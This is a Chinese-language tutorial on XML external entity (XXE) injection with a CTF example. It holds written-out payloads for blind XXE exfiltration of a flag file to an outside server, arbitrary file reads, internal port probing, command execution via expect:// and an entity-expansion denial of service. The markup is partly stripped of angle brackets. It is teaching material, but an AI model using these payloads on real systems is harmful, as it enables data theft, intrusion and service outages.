XML实体注入深入理解

XML教程 2025-08-03

目录

  • 引文
  • 简介
  • 基础知识
    • DTD
    • 内部DOCTYPE声明
  • XML实体注入
    • 无回显XXE(BLIND XXE)
    • 读取任意文件
    • 探测内网端口
    • 命令执行
    • dos拒绝服务
  • 例题
    • 结语

      引文

      在平常的WEB渗透中,我们经常会遇到SQL注入、文件上传、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的读者们了解过吗。今天带大家了解一下这个危险程度同样很高的XXE漏洞。

      简介

      Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可以构造加载恶意外部文件,进而通过恶意外部文件对服务器进行攻击。

      基础知识

      在了解XXE漏洞前,我们先看看什么是XML实体。XML根据简单概括为如下:可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 可扩展性良好,内容与形式分离,遵循严格的语法要求,保值性良好等优点。

      可能单看文字读者们不太好理解,下面给大家简单举个例子:

      上图就是一个简单的XML实体,用代码显示可以展示为:

      bookstore 
          book category="COOKING" 
          title lang="en"Everyday Italian/title
          authorGiada De Laurentiis/author 
          year2005/year
          price30.00/price
          /book
          book category="CHILDREN" 
          title lang="en"Harry Potter/title 
          authorJ K. Rowling/author 
          year2005/year 
          price29.99/price
          /book
          book category="WEB" 
          title lang="en"Learning XML/title 
          authorErik T. Ray/author 
          year2003/year
          price39.95/price 
          /book
      /bookstore
      

      其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

      DTD

      DTD(文档类型定义)可以合法的定义xml标签,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用,接下来带大家详细看一下它的内部结构以更好的去理解。

      内部DOCTYPE声明

      ?xml version="1.0"?
      !DOCTYPE note[                                        !--定义此文档是 note 类型的文档--
      !ELEMENT note (to,from,heading,body)               !--定义note元素有四个元素--
      !ELEMENT X (#PCDATA)                                   
      !ELEMENT I (#PCDATA)                             
      !ELEMENT N (#PCDATA)                     
      !ELEMENT O (#PCDATA)                             
      ]
      note
      toI/to
      fromA/from
      headM/head
      bodyXINO!/body
      /note
      

      外部DOCTYPE声明

      !DOCTYPE 根元素 SYSTEM "URL"
      

      XML实体注入

      了解了上面的基础知识后,我们便可以进一步学习XXE漏洞。

      我们要想利用,首先要判断服务器会不会解析XML实体,所以开始时我们先上传一个测试文件来判断服务器是否能解析该类型,如果解析了,我们才可以继续利用这个漏洞。

      ?xml version="1.0" encoding="UTF-8"?
      !DOCTYPE ANY [
      !ENTITY name "hello"
      ]
      rootname;/root
      

      判断服务器是否解析之后我们可以看看是否支持外部实体调用:

      ?xml version="1.0" encoding="UTF-8"?
      !DOCTYPE ANY [ 
      !ENTITY name SYSTEM "vps/hack.dtd"
      ]
      rootname;/root
      

      判断完之后就可以做进一步测试了,比如:

      无回显XXE(BLIND XXE)

      我们将获取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容。

      举一个最简单的例子:

      #test.xml
      !ENTITY % all
      "!ENTITY #x25; send SYSTEM 'http://xxx.*xxx.**xxx.xxx/x.php?1=%file;'"
      
      %all;
      

      对应的payload可以写作为:

      !DOCTYPE ANY[
      !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"
      !ENTITY % remote SYSTEM "http://xxx.*xxx.**xxx.xxx/test.xml"
      %remote;
      %send;
      ]
      

      首先对 remote 引用的目的是将外部文件 test.xml 引入到文中,检测到 send 实体,在节点中引用 send,就可以成功实现数据转发。也就实现了数据的外带。

      读取任意文件

      这个也是XXE比较常用的方法,我们引入(或编辑)一个DOCTYPE元素,该元素定义一个包含文件路径的外部实体。

      探测内网端口

      我们利用XXE也可以进行内网探测端口(类似于SSRF),以用来进一步对机器照成攻击:

      ?xml version="1.0" encoding="utf-8"? 
      !DOCTYPE xxe [
      !ELEMENT name ANY
      !ENTITY xxe SYSTEM "http://127.***0.0.1:80"]
      root
      

      命令执行

      这个还是比较少见的,因为命令执行的条件比较苛刻,要求靶机php装有expect扩展,但这个扩展是默认不安装的,所以比较难利用。

      ?xml version="1.0" encoding="utf-8"?
      !DOCTYPE xxe [
      !ELEMENT name ANY 
      !ENTITY xxe SYSTEM "expect://id" ]
      root
      namexxe;/name
      /root
      

      dos拒绝服务

      这个不是很了解,在网上浏览时注意到的,原理大概是利用迭代参数实体进行拒绝服务,让服务器的解析变得非常非常慢。

      ?xml version="1.0"?
      !DOCTYPE xml [
      !ENTITY xxe1 "xxe"
      !ENTITY xxe2 "xxe1;xxe1;xxe1;xxe1;xxe1;xxe1;xxe1;xxe1;xxe1;xxe1;"
      !ENTITY xxe3 "xxe2;xxe2;xxe2;xxe2;xxe2;xxe2;xxe2;xxe2;xxe2;xxe2;"
      !ENTITY xxe4 "xxe3;xxe3;xxe3;xxe3;xxe3;xxe3;xxe3;xxe3;xxe3;xxe3;"
      !ENTITY xxe5 "xxe4;xxe4;xxe4;xxe4;xxe4;xxe4;xxe4;xxe4;xxe4;xxe4;"
      !ENTITY xxe6 "xxe5;xxe5;xxe5;xxe5;xxe5;xxe5;xxe5;xxe5;xxe5;xxe5;"
      ]
      testxxe6;/test
      

      例题

      [PHP]XXE

      打开是一个登录界面:

      在源码处会发现:

      button id="go" onclick="XMLFunction()"GO!/button
      

      可以判断会解析XML文件,尝试构造payload直接读取文件:

      ?xml version="1.0" encoding="UTF-8"?
      !DOCTYPE root[
      !ENTITY admin SYSTEM "file:///flag"
      ]
      root
      usernameadmin;/username
      passwordxino/password
      /root
      

      抓包构造恶意数据然后发包:

      结语

      今天比较详细的讲了XXE漏洞的原理以及应用方法,有兴趣的小伙伴可以自己去搭建靶机来进行测试,以上就是XML实体注入深入理解的详细内容,更多关于XML实体注入的资料请关注本站其它相关文章!

      您可能感兴趣的文章:
      • Spring IOC容器Bean管理XML注入集合类型属性
      • springboot中pom.xml文件注入test测试依赖时报错的解决
      • 详解Spring基于xml的两种依赖注入方式
      • spring框架配置实体类复杂属性注入xml文件过程详解
      • Spring根据XML配置文件 p名称空间注入属性的实例
      • Spring根据XML配置文件注入属性的方法